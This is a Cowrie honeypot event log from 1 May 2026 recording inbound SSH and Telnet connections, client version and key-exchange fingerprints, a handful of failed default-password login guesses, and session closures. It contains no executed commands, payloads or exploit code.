{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":41300,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf90efa5f755","protocol":"ssh","message":"New connection: 2.57.122.238:41300 (10.17.0.5:22) [session: bf90efa5f755]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:26:51.447657Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:26:51.452333Z","src_ip":"2.57.122.238","session":"bf90efa5f755","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:26:51.557157Z","src_ip":"2.57.122.238","session":"bf90efa5f755","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"validator","password":"validator","message":"login attempt [validator/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:26:51.873979Z","src_ip":"2.57.122.238","session":"bf90efa5f755","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:26:52.982005Z","src_ip":"2.57.122.238","session":"bf90efa5f755","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.123.144.87","src_port":23203,"dst_ip":"159.203.135.109","dst_port":23,"session":"82123770d42d","protocol":"telnet","message":"New connection: 124.123.144.87:23203 (159.203.135.109:23) [session: 82123770d42d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:27:27.789415Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.18.177.120","src_port":47986,"dst_ip":"159.203.135.109","dst_port":23,"session":"00fcd42b07ba","protocol":"telnet","message":"New connection: 38.18.177.120:47986 (159.203.135.109:23) [session: 00fcd42b07ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:27:34.039853Z"}
{"eventid":"cowrie.session.connect","src_ip":"178.27.90.142","src_port":62450,"dst_ip":"159.203.135.109","dst_port":22,"session":"506c45a4f9fe","protocol":"ssh","message":"New connection: 178.27.90.142:62450 (159.203.135.109:22) [session: 506c45a4f9fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:27:37.443984Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:27:37.452642Z","src_ip":"178.27.90.142","session":"506c45a4f9fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:27:37.552843Z","src_ip":"178.27.90.142","session":"506c45a4f9fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"darkness","message":"login attempt [root/darkness] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:27:37.946896Z","src_ip":"178.27.90.142","session":"506c45a4f9fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:27:39.048633Z","src_ip":"178.27.90.142","session":"506c45a4f9fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.403116941452026,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:27:40.192406Z","src_ip":"124.123.144.87","session":"82123770d42d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.111343383789062,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:27:47.151083Z","src_ip":"38.18.177.120","session":"00fcd42b07ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0010097026825,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:27:55.586579Z","src_ip":"47.17.208.12","session":"5d5ee1373330","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"47.17.208.12","src_port":47756,"dst_ip":"10.17.0.5","dst_port":23,"session":"b32df802fe1a","protocol":"telnet","message":"New connection: 47.17.208.12:47756 (10.17.0.5:23) [session: b32df802fe1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:27:55.675484Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.95","src_port":35379,"dst_ip":"159.203.135.109","dst_port":22,"session":"aaebd1b5ae35","protocol":"ssh","message":"New connection: 193.24.211.95:35379 (159.203.135.109:22) [session: aaebd1b5ae35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:28:00.334087Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:28:00.370664Z","src_ip":"193.24.211.95","session":"aaebd1b5ae35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:28:00.445633Z","src_ip":"193.24.211.95","session":"aaebd1b5ae35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"superuser","message":"login attempt [admin/superuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:28:00.876488Z","src_ip":"193.24.211.95","session":"aaebd1b5ae35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:28:01.990421Z","src_ip":"193.24.211.95","session":"aaebd1b5ae35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.27.90.142","src_port":63720,"dst_ip":"159.203.135.109","dst_port":22,"session":"2ae206560ab9","protocol":"ssh","message":"New connection: 178.27.90.142:63720 (159.203.135.109:22) [session: 2ae206560ab9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:28:30.141341Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:28:30.145606Z","src_ip":"178.27.90.142","session":"2ae206560ab9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:28:30.251514Z","src_ip":"178.27.90.142","session":"2ae206560ab9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"usertest","password":"123456","message":"login attempt [usertest/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:28:30.680483Z","src_ip":"178.27.90.142","session":"2ae206560ab9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:28:31.785113Z","src_ip":"178.27.90.142","session":"2ae206560ab9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":47356,"dst_ip":"10.17.0.5","dst_port":22,"session":"5a4426e375b3","protocol":"ssh","message":"New connection: 2.57.122.238:47356 (10.17.0.5:22) [session: 5a4426e375b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:29:09.538524Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:29:09.543262Z","src_ip":"2.57.122.238","session":"5a4426e375b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:29:09.642521Z","src_ip":"2.57.122.238","session":"5a4426e375b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol123","message":"login attempt [sol/sol123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:29:09.940446Z","src_ip":"2.57.122.238","session":"5a4426e375b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:29:11.042916Z","src_ip":"2.57.122.238","session":"5a4426e375b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.27.90.142","src_port":62342,"dst_ip":"159.203.135.109","dst_port":22,"session":"ee54ac6da734","protocol":"ssh","message":"New connection: 178.27.90.142:62342 (159.203.135.109:22) [session: ee54ac6da734]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:29:21.697394Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:29:21.701903Z","src_ip":"178.27.90.142","session":"ee54ac6da734","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:29:21.801911Z","src_ip":"178.27.90.142","session":"ee54ac6da734","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fuckingpassword","message":"login attempt [root/fuckingpassword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:29:22.238059Z","src_ip":"178.27.90.142","session":"ee54ac6da734","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:29:23.342710Z","src_ip":"178.27.90.142","session":"ee54ac6da734","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.62.197.152","src_port":29058,"dst_ip":"159.203.135.109","dst_port":23,"session":"31a371f6bdbe","protocol":"telnet","message":"New connection: 64.62.197.152:29058 (159.203.135.109:23) [session: 31a371f6bdbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:29:30.794017Z"}
{"eventid":"cowrie.session.closed","duration":2.0770938396453857,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:29:32.871027Z","src_ip":"64.62.197.152","session":"31a371f6bdbe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":25320,"dst_ip":"159.203.135.109","dst_port":22,"session":"5acb4c25afbc","protocol":"ssh","message":"New connection: 194.59.206.2:25320 (159.203.135.109:22) [session: 5acb4c25afbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:29:49.055932Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:29:49.177247Z","src_ip":"194.59.206.2","session":"5acb4c25afbc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:29:49.180423Z","src_ip":"194.59.206.2","session":"5acb4c25afbc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:29:49.591145Z","src_ip":"194.59.206.2","session":"5acb4c25afbc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00167298316956,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:29:55.677044Z","src_ip":"47.17.208.12","session":"b32df802fe1a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"178.27.90.142","src_port":61851,"dst_ip":"159.203.135.109","dst_port":22,"session":"36f9f84351f6","protocol":"ssh","message":"New connection: 178.27.90.142:61851 (159.203.135.109:22) [session: 36f9f84351f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:30:11.733220Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:30:11.742276Z","src_ip":"178.27.90.142","session":"36f9f84351f6","protocol":"ssh"}
